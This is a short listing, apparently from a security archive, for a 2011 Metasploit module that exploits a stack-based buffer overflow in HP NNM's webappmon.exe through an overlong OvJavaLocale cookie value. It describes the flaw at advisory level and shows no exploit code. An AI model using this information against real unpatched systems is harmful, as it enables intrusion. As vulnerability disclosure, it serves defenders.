HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow

HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow
Posted Mar 23, 2011
Authored by Nahuel Riva, sinn3r | Site metasploit.com

This Metasploit module exploits a stack-based overflow in HP NNM's webappmon.exe. The vulnerability occurs when a long string of data is sent as OvJavaLocale's cookie value, OvWww.dll fails to properly do any bounds checking before this input is parsed in function OvWwwDebug(), which causes an overflow when sprintf_new() is called.
